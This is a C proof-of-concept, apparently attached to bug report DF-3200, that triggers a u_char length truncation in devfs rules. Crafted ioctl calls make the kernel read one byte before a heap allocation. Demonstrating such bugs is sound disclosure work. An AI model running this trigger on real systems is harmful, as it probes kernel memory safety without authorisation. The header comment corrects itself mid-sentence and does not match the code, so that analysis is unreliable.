/*
 * DF-3200 - u_char length truncation in struct devfs_rule.
 *
 * struct devfs_rule stores namlen/mntpointlen/linknamlen as u_char
 * (sys/sys/devfs_rules.h:53-59), but devfs_rule_alloc() assigns
 * len = strlen(...) with no bound -> lengths >= 256 are silently truncated.
 *
 * With a rule name of exactly 256 chars ending in '*' (e.g. 255*'a' + '*'):
 *      rule->namlen = 256 & 0xff = 0
 * and devfs_rule_create_link() evaluates
 *      rule->name[rule->namlen - 1]   ==   rule->name[(u_char)(0-1)]
 *      == rule->name[255]             -- wait: namlen is u_char 0, so
 *      rule->namlen - 1 promotes to int -1 -> rule->name[-1]:
 * a one-byte heap OVER-READ before the kstrdup'd name allocation, and the
 * wildcard branch decision is taken on a byte that is NOT part of the rule.
 *
 * Observable: the pattern *ends* with '*', so with a correct namlen the code
 * would always take the '*' branch (alias name = linkname + node_name[255:]
 * -- itself a massive over-read).  With the truncated namlen the branch
 * depends on heap garbage; in practice the plain branch is taken and the
 * alias /dev/TR appears with NO suffix -- proving namlen was truncated
 * (0, not 256) and hence that name[-1] was read out of bounds.
 *
 * Build:  cc -static -O -o trunc_namlen trunc_namlen.c
 * Run  :  ./trunc_namlen    (as root)
 */
#include <sys/ioctl.h>
#include <limits.h>
#include <sys/devfs_rules.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>

int
main(void)
{
	struct devfs_rule_ioctl r;
	int fd, i;

	fd = open("/dev/devfs", O_RDWR);
	if (fd < 0)
		err(1, "open /dev/devfs");

	memset(&r, 0, sizeof(r));
	r.rule_type = DEVFS_RULE_NAME;
	r.rule_cmd = DEVFS_RULE_LINK;
	strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
	/* name = 126 '*'s + "null" + 126 '*'s => strlen 256 (matches "null"),
	 * namlen truncates to 0 => branch decision reads rule->name[-1] */
	for (i = 0; i < 126; i++)
		r.name[i] = '*';
	memcpy(r.name + 126, "null", 4);
	for (i = 130; i < 256; i++)
		r.name[i] = '*';
	r.name[256] = '\0';
	strlcpy(r.linkname, "t/TR", sizeof(r.linkname)); /* path-scoped: prevent self-match recursion */

	printf("rule name strlen = %zu (namlen stored as u_char -> 0)\n",
	    strlen(r.name));

	if (ioctl(fd, DEVFS_RULE_ADD, &r) < 0)
		err(1, "DEVFS_RULE_ADD");

	/* control: 255-char name (namlen=255, NOT truncated) -> name[254]=='*'
	 * must take the wildcard branch for the same node */
	memset(&r, 0, sizeof(r));
	r.rule_type = DEVFS_RULE_NAME;
	r.rule_cmd = DEVFS_RULE_LINK;
	strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
	for (i = 0; i < 125; i++)
		r.name[i] = '*';
	memcpy(r.name + 125, "null", 4);
	for (i = 129; i < 255; i++)
		r.name[i] = '*';
	r.name[255] = '\0';
	strlcpy(r.linkname, "t/TRC", sizeof(r.linkname));
	printf("control name strlen = %zu (namlen=255, not truncated)\n",
	    strlen(r.name));
	if (ioctl(fd, DEVFS_RULE_ADD, &r) < 0)
		err(1, "DEVFS_RULE_ADD control");

	memset(&r, 0, sizeof(r));
	strlcpy(r.mntpoint, "*", sizeof(r.mntpoint));
	if (ioctl(fd, DEVFS_RULE_APPLY, &r) < 0)
		err(1, "DEVFS_RULE_APPLY");
	sleep(2);

	printf("=== /dev/TR* ===\n");
	fflush(stdout);
	if (system("ls -l /dev/t/ 2>&1") != 0)
		printf("(no TR alias)\n");

	/*
	 * If the wildcard branch HAD been taken for the 256-char rule (correct
	 * namlen 256 => name[255]=='*'), "TR" would carry the OOB suffix read
	 * from null's d_name+255.  A plain "/dev/TR" while the 255-char control
	 * rule produces a wildcard-branch alias proves the branch decision used
	 * the truncated namlen, i.e. evaluated rule->name[-1].
	 */
	printf("plain /dev/TR + wildcard /dev/TRC* => namlen==0 => name[-1] was read\n");
	return 0;
}
